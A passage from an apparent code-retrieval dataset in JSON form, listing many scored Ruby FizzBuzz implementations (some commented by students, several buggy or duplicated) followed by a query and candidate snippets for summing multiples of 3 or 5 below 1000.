"text": "def fizzbuzz(num_1, num_2, range)\n # creates an action that will be carried out when the method is called\n (1..range).each do |i|\n # creates the first conditional to the action above\n if i % num_1 === 0 && i % num_2 === 0\n # notes the action to carry out if the above is true\n puts 'fizzbuzz'\n # creates an alternate conditional route for the action above\n elsif i % num_1 === 0\n # notes the action to carry out if the above conditional is true\n puts 'fizz'\n # creates yet another conidtional route - if both of the above are false - this will be evaluated.\n elsif i % num_2 === 0\n # notes the action to carry out if the above conditional is true\n puts 'buzz'\n # creates the final condition - encompasses all other options if the all 3 of the above are false\n else\n # notes the action to carry out if we've moved to the 'else' realm with the first 3 conditions\n puts i\n # ends the function within the method\n end\n #ends the method within a method of .each\n end\n# ends the method\nend",
"title": ""
},
{
"docid": "a57d1aacada867120fc98cd463d048fc",
"score": "0.7316223",
"text": "def fizzbuzz(num)\n num.times do |i|\n \n if i % 15 == 0\n puts \"fizzbuzz\"\n elsif i % 3 == 0 \n puts \"fizz\"\n elsif i % 5 == 0\n puts \"buzz\"\n else\n puts \"num\"\n end\n end\nend",
"title": ""
},
{
"docid": "3ae65d87d9e02a9665909c9a4df76750",
"score": "0.7314035",
"text": "def fizz_buzz number\n if number%3 == 0 && number%5 == 0\n return \"FizzBuzz\"\n elsif number%3 == 0\n return \"Fizz\"\n elsif number%5 == 0\n return \"Buzz\"\n else\n return number\n end\nend",
"title": ""
},
{
"docid": "7eb857a3ffd590fcf32b5134c291ecaa",
"score": "0.73095787",
"text": "def fizzbuzz(num_1, num_2, range)\n # Declare a function that does the following for each argument (i) beginning at 1 and ending at\n # the range:\n (1..range).each do |i|\n # If the value of i divided by num_1 is an integer AND the value of i divided\n # by num_2 is also an integer, print the value 'fizzbizz' on the next line\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n # If the value of i divided by num_1 is an integer, print 'fizz' on the next line\n elsif i % num_1 === 0\n puts 'fizz'\n # If the value of i divided by num_2 is an integer, print 'buzz' on the next line\n elsif i % num_2 === 0\n puts 'buzz'\n # If none of the above conditions are met, print the value of i on the next line.\n else\n puts i\n end\n end\nend",
"title": ""
},
{
"docid": "5c7823edcf936ae8d2c63bfaa550cfd6",
"score": "0.7301617",
"text": "def fizz_buzz number\n if number % 15 == 0\n \"FizzBuzz\"\n elsif number % 5 == 0\n \"Buzz\"\n elsif number%3 == 0\n \"Fizz\"\n else\n number\n end\nend",
"title": ""
},
{
"docid": "d1298e2ec8585856a321e0a011f5da74",
"score": "0.730113",
"text": "def fizz_buzz\n [*1..100].map do |num|\n if num % 5 == 0 && num % 3 == 0\n 'FizzBuzz'\n elsif num % 5 == 0\n 'Buzz'\n elsif num % 3 == 0\n 'Fizz'\n else\n num\n end\n end\nend",
"title": ""
},
{
"docid": "60120bb1450effe2f8f356dd461e6138",
"score": "0.7295996",
"text": "def fizzbuzz(num_1, num_2, range)\n # sets 1 to range (last number) where each number will do the following\n (1..range).each do |i|\n # if the remainder of each number i divided by the first number num_1 should have a zero AND\n # the remainder of each number i divided by the second number num_2 should have a zero\n if i % num_1 === 0 && i % num_2 === 0\n # then print 'fizzbuzz'\n puts 'fizzbuzz'\n # otherwise, if the remainder of number i divdied by num_1 should have a zero\n elsif i % num_1 === 0\n # then print 'fizz'\n puts 'fizz'\n # otherwise, if the remainder of number i divided by num_2 should have a zero\n elsif i % num_2 === 0\n # then print 'buzz'\n puts 'buzz'\n else\n # if all the conditions above are not met, then print the number i\n puts i\n end\n end\nend",
"title": ""
},
{
"docid": "e4c902304fc43fc983589f9408d20f9b",
"score": "0.728988",
"text": "def fizzbuzz(num_1, num_2, range)\n # iterates arguments\n (1..range).each do |i\n # states if remainder of i divided by num_1 is equal to 0 AND remainder ofi divided by num_2 is equal to 0\n if i % num_1 === 0 && i % num_2 === 0\n # assigns puts value\n puts 'fizzbuzz'\n # states if remainder of i divided by num_1 is equal to 0\n elsif i % num_1 === 0\n # assigns puts value\n puts 'fizz'\n # states if remainder of i divided by num_2 is equal to 0\n elsif i % num_2 === 0\n # assigns puts value\n puts 'buzz'\n # states what to do if all above tests fail\n else\n # assigns puts to i\n puts i\n # ends if else statement\n end\n # ends iteration\n end\n # ends function\nend",
"title": ""
},
{
"docid": "bd2ed9738467502c6403a5eb42f3eba5",
"score": "0.728904",
"text": "def fizzbuzz(num_1, num_2, range)\n (1..range).each do |i|\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n elsif i % num_1 === 0\n puts 'fizz'\n elsif i % num_2 === 0\n puts 'buzz'\n else\n puts i\n end\n end\nend",
"title": ""
},
{
"docid": "a8cb848033b4ff27f24dbf93f92fd94f",
"score": "0.7288558",
"text": "def fizzbuzz(num_1, num_2, range)\n # starts a loop which runs through all integers between 1 and whatever 'range' argument is equal to. i is the variable where each integer is stored during the loop.\n (1..range).each do |i|\n # starts if/else statement by detecting whether integer i is evenly divisible by both num_1 and num_2.\n if i % num_1 === 0 && i % num_2 === 0\n #If so, it prints 'fizzbuzz.'\n puts 'fizzbuzz'\n # detects if integer i is evenly divisible by num_1 (and only num_1, since line 45 would have caught it if it were divisible by both)\n elsif i % num_1 === 0\n # If so, it prints 'fizz'\n puts 'fizz'\n # detects if integer i is evenly divisible by num_2 (and only num_2)\n elsif i % num_2 === 0\n # If so, it prints 'buzz'\n puts 'buzz'\n # If integer i is evenly divisible by neither num_1 nor num_2, the function just prints integer i\n else\n puts i\n end\n end\nend",
"title": ""
},
{
"docid": "5c2a1c84cd74798778b6d2eb4bb4d44e",
"score": "0.7286047",
"text": "def fizzbuzz(num_1, num_2, range)\n# Take every integer between 1 and the range argument and do the following:\n (1..range).each do |i|\n # If the integer's modulous with num_1 argument equals zero and the integer's modulous with the num_2 argument equals zero\n if i % num_1 === 0 && i % num_2 === 0\n # print fizzbuzz\n puts 'fizzbuzz'\n # Otherwise if the integer's modulous with num_1 argument equals zero\n elsif i % num_1 === 0\n # print fizz\n puts 'fizz'\n # Otherwise if the integer's modulous with num_2 argument equals zero\n elsif i % num_2 === 0\n # print buzz\n puts 'buzz'\n # None of the above?\n else\n # Then just print the integer\n puts i\n # close if statement\n end\n # close .each method\n end\n# close fizz buzz method\nend",
"title": ""
},
{
"docid": "98c4d505e54b50fbd7df33d70aa6ae94",
"score": "0.7285971",
"text": "def fizzbuzz(n)\n range = [*1..n]\n range.map! do |num|\n if num % 3 == 0 && num % 5 == 0\n num = \"fizzbuzz\"\n elsif num % 5 == 0\n num = \"buzz\"\n elsif num % 3 == 0\n num = \"fizz\"\n else\n num\n end\n end\nend",
"title": ""
},
{
"docid": "28770fe4c4acfe11fdb9e1442f54107d",
"score": "0.7282894",
"text": "def fizzbuzz(n)\n numbers = (1..n).to_a\n numbers.map do |num|\n if (num % 15 == 0)\n \"FizzBuzz\"\n elsif (num % 5 == 0)\n \"Buzz\"\n elsif (num % 3 == 0)\n \"Fizz\"\n else num\n end\n end\n end",
"title": ""
},
{
"docid": "d36b6f4f567305931b8c7c06719193b9",
"score": "0.7279732",
"text": "def fizzbuzz(num_1, num_2, range)\n#from integer 1 to argument range above, execute the code below for each element. variable i stands for the element in the range the program is currently using at the time.\n (1..range).each do |i|\n#conditional, if variable i modulo argument num_1 is equal to 0 AND variable i modulo argument num_2 is also equal to 0, print string \"fizzbuzz\"\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n#if the above conditional is not true, check if variable i modulo argument num_1 is equal to 0 by itself. if true, print string \"fizz\"\n elsif i % num_1 === 0\n puts 'fizz'\n#if neither of the above conditionals are true, check if variable i modulo argument num_2 is equal to 0 by itself. if true, print string \"buzz\"\n elsif i % num_2 === 0\n puts 'buzz'\n#if none of the above conditionals are found to be true, print the value of variable i (the number in the range the program was checking)\n else\n puts i\n end\n end\nend",
"title": ""
},
{
"docid": "ad7f3ae5cc355407229e3f32824f0a55",
"score": "0.72776884",
"text": "def main n\n fizzbuzz = Fizzbuzz.new ({\"n\" => n.to_i})\n p fizzbuzz\nend",
"title": ""
},
{
"docid": "0630bad15c8838d002e326fcb5b7c2c2",
"score": "0.7273774",
"text": "def fizzbuzz(num)\n if num % 15 == 0 \n fizz_15=\"FizzBuzz\"\n elsif num % 3 == 0\n fizz_3=\"Fizz\"\n elsif num % 5 == 0 \n fizz_5= \"Buzz\"\n else puts \"nil\"\n end \nend",
"title": ""
},
{
"docid": "5117ca03f3f235ee9b9395be42b28894",
"score": "0.72632945",
"text": "def fizzbuzz(number)\n return 'FizzBuzz' if number % 15 == 0\n return 'Fizz' if number % 3 == 0\n return 'Buzz' if number % 5 == 0\n return number\nend",
"title": ""
},
{
"docid": "7b221ec61ac3b9eefe278502800b37c0",
"score": "0.72614974",
"text": "def fizz_buzz num\n puts \"FizzBuzz\" if num % 15 == 0\n puts \"Fizz\" if num % 3 == 0\n puts \"Buzz\" if num % 5 == 0\n puts num\nend",
"title": ""
},
{
"docid": "f7a6e2588460259b1eee89e32fd435b3",
"score": "0.7247903",
"text": "def fizzBuzz (number)\n for i in 1..number\n if (i % 15 == 0)\n puts \"fizzbuzz\"\n elsif (i % 3 ==0)\n puts \"fizz\"\n elsif (i % 5 ==0)\n puts \"buzz\"\n else\n puts i\n end\n end\nend",
"title": ""
},
{
"docid": "e86b661bcd2656861d880230db9b0798",
"score": "0.7247895",
"text": "def fizzbuzz(n)\n\t(1..n).map do |n|\n\t\tif n % 15 == 0\n\t\t\t\"fizzbuzz\"\n\t\telsif n % 3 == 0\n\t\t\t\"fizz\"\n\t\telsif n % 5 == 0\n\t\t\t\"buzz\"\n\t\telse\n\t\t\tn\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "3c4ee76ea26936058dcb540427819551",
"score": "0.72468823",
"text": "def fizzbuzz(num_1, num_2, range) # Create class method called 'fizzbuzz'\n (1..range).each do |i| # Iterate process for each item in a range\n if i % num_1 === 0 && i % num_2 === 0 # If statement - Modulus: Divides left hand operand by right hand operand and returns remainder. === tests equality\n puts 'fizzbuzz' # Prints fizzbuzz\n elsif i % num_1 === 0 # Elsif statement - Modulus of integer and num_1\n puts 'fizz' # Prints fizzbuzz\n elsif i % num_2 === 0 # Elsif statement - Modulus of integer and num_2\n puts 'buzz' # Prints buzz\n else # For anthing else\n puts i # Print the integer\n end\n end\nend",
"title": ""
},
{
"docid": "bf76fe686dbb33dcd23320df33285ad9",
"score": "0.7244689",
"text": "def fizzbuzz(num)\n if num % 3 == 0 && num % 5 == 0\n \"FizzBuzz\"\n elsif num % 3 == 0\n \"Fizz\"\n elsif num % 5 == 0\n \"Buzz\"\n else\n num\n end\nend",
"title": ""
},
{
"docid": "bf76fe686dbb33dcd23320df33285ad9",
"score": "0.7244689",
"text": "def fizzbuzz(num)\n if num % 3 == 0 && num % 5 == 0\n \"FizzBuzz\"\n elsif num % 3 == 0\n \"Fizz\"\n elsif num % 5 == 0\n \"Buzz\"\n else\n num\n end\nend",
"title": ""
},
{
"docid": "bf76fe686dbb33dcd23320df33285ad9",
"score": "0.7244689",
"text": "def fizzbuzz(num)\n if num % 3 == 0 && num % 5 == 0\n \"FizzBuzz\"\n elsif num % 3 == 0\n \"Fizz\"\n elsif num % 5 == 0\n \"Buzz\"\n else\n num\n end\nend",
"title": ""
},
{
"docid": "bf76fe686dbb33dcd23320df33285ad9",
"score": "0.7244689",
"text": "def fizzbuzz(num)\n if num % 3 == 0 && num % 5 == 0\n \"FizzBuzz\"\n elsif num % 3 == 0\n \"Fizz\"\n elsif num % 5 == 0\n \"Buzz\"\n else\n num\n end\nend",
"title": ""
},
{
"docid": "bf76fe686dbb33dcd23320df33285ad9",
"score": "0.7244689",
"text": "def fizzbuzz(num)\n if num % 3 == 0 && num % 5 == 0\n \"FizzBuzz\"\n elsif num % 3 == 0\n \"Fizz\"\n elsif num % 5 == 0\n \"Buzz\"\n else\n num\n end\nend",
"title": ""
},
{
"docid": "bf76fe686dbb33dcd23320df33285ad9",
"score": "0.7244689",
"text": "def fizzbuzz(num)\n if num % 3 == 0 && num % 5 == 0\n \"FizzBuzz\"\n elsif num % 3 == 0\n \"Fizz\"\n elsif num % 5 == 0\n \"Buzz\"\n else\n num\n end\nend",
"title": ""
},
{
"docid": "36750fbfda2d83f8e75ba09addab82a5",
"score": "0.7240974",
"text": "def fizzbuzz(num_1, num_2, range)\n# for loop that parses through entire number range from 1 to what is passed as an argument\n (1..range).each do |i|\n# boolean if statement if the modulo of num_1 argument is 0 and num_2 argument is also 0 results\n if i % num_1 === 0 && i % num_2 === 0\n# prints fizzbuzz to terminal if above boolean is true\n puts 'fizzbuzz'\n# else if boolean range operator modulo num_1 argument is 0 results in string printing to terminal\n elsif i % num_1 === 0\n# prints fizz to terminals\n puts 'fizz'\n# else if boolean range value modulo num_2 argument is 0 prints string to terminal\n elsif i % num_2 === 0\n# prints buzz to terminal\n puts 'buzz'\n# if all above booleans fail\n else\n# puts range value\n puts i\n end\n end\nend",
"title": ""
},
{
"docid": "acf58fa9fe76994bba3bea246aedef0e",
"score": "0.7236912",
"text": "def fizzbuzz(number)\n\t\n\t\n\tif number % 3 == 0\n\t\tfizz = \"fizz\"\n\telse\n\t\tfizz = \"\"\n\tend\n\t\n\tif number % 5 == 0\n\t\tbuzz = \"buzz\" \n\telse\n\t\tbuzz = \"\"\n\tend\n\n\tfizzbuzz = fizz + buzz\t\n\tif fizzbuzz == \"\"\n\t\tfizzbuzz = number\n\tend\n\treturn fizzbuzz\nend",
"title": ""
},
{
"docid": "b5683d8bd8855d093d38c24397e8ad80",
"score": "0.723525",
"text": "def fizzbuzz(number)\n i = 1\n until i > number\n if i % 15 == 0\n puts \"Fizzbuzz for #{i}\"\n elsif i % 3 == 0\n puts \"Fizz for #{i}\"\n elsif i % 5 == 0\n puts \"Bizz for #{i}\"\n end\n i+=1\n end\nend",
"title": ""
},
{
"docid": "852a2ed16a76d9c5b73c5998b43789de",
"score": "0.7233772",
"text": "def fizzbuzz(number)\n\n if number % 5 == 0 && number % 3 == 0\n \t\"FizzBuzz\"\n elsif number % 5 == 0\n \t\"Buzz\"\n elsif number % 3 == 0\n \t\"Fizz\"\n else\n \tnumber\n end\nend",
"title": ""
},
{
"docid": "b5710bd646fdaeadf0251df0325f5cf8",
"score": "0.7232377",
"text": "def fizzbuzz(num_1, num_2, range)\n # for each number in the range parameter (1 to range), do the following where i represents that number\n (1..range).each do |i|\n # if the remainder when you divide i by num_1 AND when you divide i by num_2 is 0 in both cases\n if i % num_1 === 0 && i % num_2 === 0\n # then print 'fizzbuzz'\n puts 'fizzbuzz'\n # if it IS true that the remainder when you divide i by num_1 is 0 (but not when you divide i by num_2)\n elsif i % num_1 === 0\n # then print just 'fizz'\n puts 'fizz'\n # if it's only true that the remainder is 0 when you divide i by num_2 and not num_1\n elsif i % num_2 === 0\n # then print just 'buzz'\n puts 'buzz'\n # if none of the three previous situations applies (is true)\n else\n #then instead, just print the number (i)\n puts i\n # close the if statement\n end\n # close the iteration loop\n end\n# close the method definition\nend",
"title": ""
},
{
"docid": "c2e728568e0a1bc51e84b788a2ffe78d",
"score": "0.7229707",
"text": "def fizzbuzz_kata(num) \n\t4 \nend",
"title": ""
},
{
"docid": "d2cbc90bea3c423822b8be4c799374df",
"score": "0.72275645",
"text": "def fizzbuzz_iterator(range_from, range_to)\n (range_from..range_to).each do |i|\n if divisable_by_given?(i, 3) && divisable_by_given?(i, 5)\n @fizzbuzz_array << 'FizzBuzz'\n elsif divisable_by_given?(i, 3)\n @fizzbuzz_array << 'Fizz'\n elsif divisable_by_given?(i, 5)\n @fizzbuzz_array << 'Buzz'\n else\n @fizzbuzz_array << i\n end\n end\n end",
"title": ""
},
{
"docid": "2f8202f42e76d36e13d138f5ec357872",
"score": "0.72247434",
"text": "def fizzbuzz(n)\n return \"FizzBuzz\" if n%15==0\n return \"Fizz\" if n%3==0\n return \"Buzz\" if n%5==0\n nil\nend",
"title": ""
},
{
"docid": "578113fe57faeef1f84b4acdabcf93ac",
"score": "0.72168237",
"text": "def initialize(first_number,second_number) ##give arguments here , so we can contstruct a fizzbuzz object later\n @first_number = first_number\n @second_number = second_number\n # @array = []\n end",
"title": ""
},
{
"docid": "fafd2acb50aef78ce9ecce746a437908",
"score": "0.72115797",
"text": "def fizzbuzz(num_1, num_2, range)\n #This is a for loop that loops from 1 to the given range argument.\n (1..range).each do |i|\n #This is an if statement which sees if both the remainder of i / num_1 is equal to 0 and if the remainder of 1 / num_2 is equal to 0\n if i % num_1 === 0 && i % num_2 === 0\n #If the above if statement is true then it will print 'fizzbuzz'\n puts 'fizzbuzz'\n #This is a continuation of the if statement where if only the remainder of i / num_1 is equal to 0 it will run\n elsif i % num_1 === 0\n #If the above if elsif statement is true then it will print 'fizz'\n puts 'fizz'\n #This is another continuation of the if statement in which if only the remainder of i / num_2 is equal to 0 it will run\n elsif i % num_2 === 0\n #If the above elsif statement is true it will print 'buzz'\n puts 'buzz'\n #If none of the above statements are true this will run\n else\n #If the else is fulfilled this will print i\n puts i\n end\n end\nend",
"title": ""
},
{
"docid": "c0188a278194e67da8dbc07acc06474b",
"score": "0.72095716",
"text": "def fizz_buzz(start: 1, stop: 100)\n (start..stop).to_a.map do |n|\n next 'FizzBuzz' if n % 15 == 0\n next 'Fizz' if n % 3 == 0\n next 'Buzz' if n % 5 == 0\n\n n\n end\nend",
"title": ""
},
{
"docid": "2ecf318cd7ec22d7b59805c3d0e9b4f9",
"score": "0.72056055",
"text": "def fizzbuzz(int1, int2)\n int1.upto(int2) do | number |\n if (number % 5 == 0) && (number % 3 == 0)\n puts \"FizzBuzz\"\n elsif number % 3 == 0\n puts \"Fizz\"\n elsif number % 5 == 0\n puts \"Buzz\"\n else\n puts number\n end\n end\nend",
"title": ""
},
{
"docid": "041749917648a2ef5a7f64c7d3a48b77",
"score": "0.72008306",
"text": "def fizzbuzz(num)\n if num%3 == 0\n print \"Fizz\"\n elsif num%5 == 0\n print \"Buzz\"\n else\n puts num\nend",
"title": ""
},
{
"docid": "33e1eb5dcf99626165c9fa0b9ce64316",
"score": "0.719709",
"text": "def fizzbuzz_iterator range_from , range_to\n (range_from..range_to).each do |i|\n if divisible_by?(i,3) && divisible_by?(i,5)\n @fizzbuzz_array << \"FizzBuzz\"\n elsif divisible_by?(i,3)\n @fizzbuzz_array << \"Fizz\"\n elsif divisible_by?(i,5)\n @fizzbuzz_array << \"Buzz\"\n else\n @fizzbuzz_array << i\n end\n end\n end",
"title": ""
},
{
"docid": "36727ca27c36413a994ce4f3361a202c",
"score": "0.71937525",
"text": "def fizzbuzz\n\ti = 1\n\twhile i < 101\n\t\tif i % 15 == 0\n\t\t\tputs \"fizzbuzz\"\n\t\telsif i % 5 == 0\n\t\t\tputs \"buzz\"\n\t\telsif i % 3 == 0\n\t\t\tputs \"fizz\"\n\t\telse\n\t\t\tputs \"#{i}\"\n\t\tend\n\t\ti = i + 1\n\tend\nend",
"title": ""
},
{
"docid": "3044aac99dd420c5082744c2954a0317",
"score": "0.71919745",
"text": "def fizzbuzz(num1, num2)\n array = (num1..num2).to_a\n fizzbuzz = array.map do |n|\n if n % 3 == 0 && n % 5 == 0\n 'FizzBuzz'\n elsif n % 5 == 0\n 'Buzz'\n elsif n % 3 == 0\n 'Fizz'\n else \n n\n end\n end\n fizzbuzz.join(' ')\nend",
"title": ""
},
{
"docid": "2097d44e51688220dd76a0a52e8e27a1",
"score": "0.7187026",
"text": "def fizzbuzz(num_given)\n \n if(num_given % 3 == 0)&&(num_given % 5 == 0)\n \"FizzBuzz\"\n elsif (num_given % 3 == 0)\n \"Fizz\"\n elsif (num_given % 5 == 0)\n \"Buzz\"\n else\n nil\n end\nend",
"title": ""
},
{
"docid": "bb993337694de434bea91a3b1df35462",
"score": "0.7184236",
"text": "def fizzbuzz(n)\n myary = []\n myn = 1\n (0...n).each do\n if myn % 15 == 0\n myary << \"FizzBuzz\"\n myn += 1\n elsif myn % 5 == 0\n myary << \"Buzz\"\n myn += 1\n elsif myn % 3 == 0\n myary << \"Fizz\"\n myn += 1\n else\n myary << myn\n myn += 1\n end\n end\n myary\nend",
"title": ""
},
{
"docid": "8f145b86a62c403cf9bd29c273798f64",
"score": "0.7183861",
"text": "def fizz_buzz_calculator num\n if num % 3 == 0 && num % 5 == 0\n return \"fizzbuzz\"\n elsif num % 3 == 0\n return \"fizz\"\n elsif num % 5 == 0\n return \"buzz\"\n else\n return num\n end\nend",
"title": ""
},
{
"docid": "93fecebc633ed92772505769463be294",
"score": "0.71829456",
"text": "def fizzbuzz\n\t(1..100).each do |num|\n\t if num % 3 == 0 && num % 5 == 0\n\t\tputs \"Fizzbuzz\"\n\t elsif num % 3 == 0\n\t\tputs \"Fizz\"\n\t elsif num % 5 == 0 \n\t\tputs \"Buzz\"\n\t else\n\t\tputs num\n\t end\n\tend\nend",
"title": ""
},
{
"docid": "dbf85cce03e764a56cc8c0efe7079f7c",
"score": "0.71804196",
"text": "def fizzbuzz_to(limit)\n\t# Upto is being called to the 1. You pick a variable and it will print all the number up to that 'limit'. \n 1.upto(limit) do |i|\n \t# This Prints out the code on terminal. \n puts(fizzbuzz(i))\n end\nend",
"title": ""
},
{
"docid": "1b50c3dd674f70fe9a2a973b68c52e02",
"score": "0.7180153",
"text": "def fizzbuzz(num1,num2)\n num1.upto(num2).each do |n|\n case\n when n % 3 == 0\n 'fizz'\n when n % 5 == 0\n 'buzz'\n when n % 3 == 0 && n % 5 == 0\n 'fizzbuzz'\n else\n p n\n end\n end\nend",
"title": ""
},
{
"docid": "9efb88464f3025a2125f5e7c97ccf38b",
"score": "0.7179273",
"text": "def fizzbuzz\n\t 1.upto(100) do |i|\n\tif i % 5 == 0 and i % 3 == 0\n\t puts \"FizzBuzz\"\n\telsif i % 5 == 0\n\t puts \"Buzz\"\n\telsif i % 3 == 0\n\t puts \"Fizz\"\n\telse\n\t puts i\n\tend\n\tend\nend",
"title": ""
},
{
"docid": "a4f01da33d69427632bb17c7df5bdf10",
"score": "0.7179197",
"text": "def fizzbuzz(num)\n i = 1\n while i < num\n \n if i % 3 == 0 && i % 5 == 0\n p \"Fizzbuzz! nums is #{i}\"\n elsif i % 3 == 0\n p \"Fizz! num is #{i}\"\n elsif i % 5 == 0\n p \"Buzz! num is #{i}\"\n end\n i+= 1\n end\n\nend",
"title": ""
},
{
"docid": "2b4d13c295116fc0cac0ad7e58ed764c",
"score": "0.7176075",
"text": "def fizzbuzz(num_1, num_2, range)\n #sets up a counter starting at 1 ending in a defined range\n #and loops through the conditions until the full range is iterated\n (1..range).each do |i|\n #checks if i is divisible by both num_1 and num_2\n if i % num_1 === 0 && i % num_2 === 0\n #prints fizzbuzz if true\n puts 'fizzbuzz'\n #checks if i is divisible only by num_1\n elsif i % num_1 === 0\n #prints fizz if true\n puts 'fizz'\n #checks if i is divisible only by num_2\n elsif i % num_2 === 0\n #prints buzz if true\n puts 'buzz'\n #creates a condition that encompasses any other inputs\n else\n #prints i if true\n puts i\n #end of conditionals\n end\n #end of loop\n end\n#end of method\nend",
"title": ""
},
{
"docid": "d0133631f03e4b8717b8c8f6a4d0e4d8",
"score": "0.71743536",
"text": "def fizzbuzz(num_1, num_2, range)\n # for...in loop executes through the range with <1> beginning and the function argument <range> ending.\n (1..range).each do |i|\n # if local variable <i> modulo, fuction argument <num_1> === 0 and <i> modulo function argument <num_2> === 0, returns <true> the code beneath executes.\n if i % num_1 === 0 && i % num_2 === 0\n # prints the string 'fizzbuzz' to the terminal\n puts 'fizzbuzz'\n # if the if condition returned false, then the conditional statement: <i> modulo <num_1> === 0, is evaluated. If it returns <true> the code beneath executes.\n elsif i % num_1 === 0\n # prints the string 'fizz' to the terminal if the conditional statement above returns <true>.\n puts 'fizz'\n # if and eslif above return <false>: the conditional statement: <i> modulo <num_2> === 0, is evaluated. If <true> then the code beneath executes.\n elsif i % num_2 === 0\n # prints the string 'buzz' to the terminal if the conditional statement above returns <true>.\n puts 'buzz'\n # if none of the other conditional statements return <true> the code beneath <else> executes.\n else\n # prints the local variable <i> to the terminal.\n puts i\n # ends the if statement block\n end\n # ends the for...in loop\n end\n # ends the <fizzbuzz> function\nend",
"title": ""
},
{
"docid": "656f892037923de51276c900448fbf05",
"score": "0.7174158",
"text": "def fizzbuzz(num_1, num_2, range)\n #loop with .each do instead of for loop\n (1..range).each do |i|\n #Use modulo operator to get the remainder of the division i on num-1\n #if i modulo num_1 triple equals 0 AND i modulo num_2 triple equals 0\n if i % num_1 === 0 && i % num_2 === 0\n #print \"fizzbuzz\"\n puts 'fizzbuzz'\n #else if i modulo num_1 triple equals 0\n elsif i % num_1 === 0\n #print \"fizz\"\n puts 'fizz'\n #else if i modulo num_2 triple equals 0\n elsif i % num_2 === 0\n #print \"buzz\"\n puts 'buzz'\n #otherwise\n else\n #print i\n puts i\n #end\n end\n #end\n end\n #end\nend",
"title": ""
},
{
"docid": "f9a6e229d33c991ac17e30b5c3903742",
"score": "0.7156802",
"text": "def fizz_buzz(number)\n if(number % 3 == 0 && number % 5 == 0)\n return \"FizzBuzz\"\n elsif(number % 3 == 0)\n return \"Fizz\"\n elsif(number % 5 == 0)\n return \"Buzz\"\n else\n return number\n end\nend",
"title": ""
},
{
"docid": "a1248377530604acf0dc92da03985ee5",
"score": "0.71502316",
"text": "def simple_fizzy(start_num, end_num)\n (start_num..end_num).each do |number|\n puts \"Fizz: \" + number.to_s if fizzbuzz(number) == \"Fizz\"\n if number == end_num\n (start_num..end_num).each do |number|\n puts \"Buzz: \" + number.to_s if fizzbuzz(number) == \"Buzz\"\n if number == end_num\n (start_num..end_num).each do |number|\n puts \"FizzBuzz: \" + number.to_s if fizzbuzz(number) == \"FizzBuzz\"\n end\n end\n end\n end\n end\nend",
"title": ""
},
{
"docid": "296a6c9f33e0730e6ca7732ce68dfdc4",
"score": "0.7145062",
"text": "def fizz_buzz(n)\n\t1.upto(n) do |i|\n\t\tif i % 3 == 0\n\t\t\tputs \"Buzz\"\n\t\telsif i % 5 == 0\n\t\t\tputs \"Fizz\"\n\t\telsif i% 15 == 0\n\t\t\tputs \"FizzBuzz\"\n\t\telse\n\t\t\tputs i\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "086f1c04939f7b05914ff59e7c2c3b60",
"score": "0.71358496",
"text": "def fizzbuzz(number)\n (1..number).each do |num|\n if (num % 15).zero?\n puts 'FizzBuzz'\n elsif (num % 3).zero?\n puts 'Fizz'\n elsif (num % 5).zero?\n puts 'Buzz'\n else\n puts num\n end\n end\nend",
"title": ""
},
{
"docid": "bb69db4ba9af3b176dad5f59ee178ac4",
"score": "0.7128688",
"text": "def fizzbuzz(n)\n if n % 15 == 0 \n \"FizzBuzz\"\n elsif n % 5 == 0 \n \"Buzz\"\n elsif n % 3 == 0 \n \"Fizz\"\n else\n return nil \n end\nend",
"title": ""
},
{
"docid": "349518c61c8b596f9b9bd49ce1d3a35a",
"score": "0.71282274",
"text": "def fizzbuzz\n zz_array = []\n 1.upto(100) do |num|\n if num % 3 == 0 && num % 5 == 0\n zz_array << 'FizzBuzz'\n elsif num % 3 == 0\n zz_array << 'Fizz'\n elsif num % 5 == 0\n zz_array << 'Buzz'\n else\n zz_array << num\n end\n end\n return zz_array\nend",
"title": ""
}
] |
d90c0b36f1ea1edf9c2cb949fd6ae968
|
Find the sum of all the multiples of 3 or 5 below 1000.
|
[
{
"docid": "49fd6eacb69e143a9af7849eb85a1ee8",
"score": "0.7463829",
"text": "def multiples\n (1..999).select { |x| (x % 5 == 0 || x % 3 == 0) }.reduce(:+)\nend",
"title": ""
}
] |
[
{
"docid": "f69e9cb8df44a1949b85f902e68b4d98",
"score": "0.81432205",
"text": "def multiples_of_3_5\n sum = 0\n 1000.times do |i|\n sum += i if i % 3 == 0 || i % 5 == 0\n end\n sum\nend",
"title": ""
},
{
"docid": "691ecdc25455fe6b452eead234e29887",
"score": "0.811875",
"text": "def sum_of_multiples\n sum = 0\n (1...1000).each do |num|\n sum += num if num % 3 == 0 || num % 5 == 0\n end\n sum\nend",
"title": ""
},
{
"docid": "523b33b56b35bc06300410232056103d",
"score": "0.81167877",
"text": "def findMultiplesOf3and5\n\n total = 0\n\n (1..999).each do |n| \n \ttotal += n if n % 3 == 0 || n % 5 == 0\n end\n\n total\n\nend",
"title": ""
},
{
"docid": "833c2e0d88ede9230847827baeac0591",
"score": "0.8093213",
"text": "def mult_3_5()\n\ttotal = 0\n\t(1...1000).each do |n|\n\t\tif n % 3 == 0 || n % 5 == 0\n\t\t\ttotal += n\n\t\tend\n\tend\n\ttotal\nend",
"title": ""
},
{
"docid": "a5a342f29447ebf4926d402a21986dcc",
"score": "0.8061327",
"text": "def multiple_sum\n multiples = (3...1000).select {|num| num % 3 == 0 || num % 5 == 0 }\n multiples.reduce(:+)\nend",
"title": ""
},
{
"docid": "1c03e390fd62970cf21385b181cabd4c",
"score": "0.8052001",
"text": "def find_sum_of_multiples\n multiples = []\n 1000.times do |x|\n if x % 3 == 0 || x % 5 == 0\n multiples << x\n end\n end\n multiples.inject{|x,y| x + y}\nend",
"title": ""
},
{
"docid": "e0cef03872c11913904f22330c635110",
"score": "0.8033124",
"text": "def find_sum\n\tcount = 0\n\t(1..1000).each do|num| \n\t\tif (num%3 == 0 || num%5 == 0)\n\t\t\tcount = count + num\t\n\t\tend\n\tend\n\tcount\nend",
"title": ""
},
{
"docid": "ba33fc5c7b8d95739417b6e09d5230be",
"score": "0.80319345",
"text": "def multiples_of_3_and_5\n numbers = 1...1000\n divisible = []\n numbers.each do |num|\n if num % 3 == 0 || num % 5 == 0\n divisible << num\n end\n end\n divisible.inject { |sum, num| sum + num }\nend",
"title": ""
},
{
"docid": "81bfef248381a4930ed90a559bf3b2d0",
"score": "0.7979393",
